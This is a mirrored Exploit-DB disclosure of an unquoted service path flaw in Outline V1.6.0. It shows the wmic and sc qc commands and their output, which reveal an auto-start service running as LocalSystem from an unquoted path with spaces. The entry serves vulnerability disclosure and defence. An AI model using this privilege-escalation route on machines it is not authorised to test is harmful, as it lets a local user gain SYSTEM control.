7
[local] Outline V1.6.0 - Unquoted Service Path
source link: https://www.exploit-db.com/exploits/51128
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Outline V1.6.0 - Unquoted Service Path
# Exploit Title: Outline V1.6.0 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Discovery Date: 2022-11-10
# Vendor Homepage: https://getoutline.org/
# Software Link: https://getoutline.org/
# Tested Version: V1.6.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 11 Enterprise
# Step to discover Unquoted Service Path:
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Outline Updater OutlineServiceSvc C:\Program Files (x86)\Outline\OutlineService.exe
Auto
C:\>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: OutlineService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Outline\OutlineService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OutlineService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>systeminfo
OS Name: Microsoft Windows 11 Enterprise
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK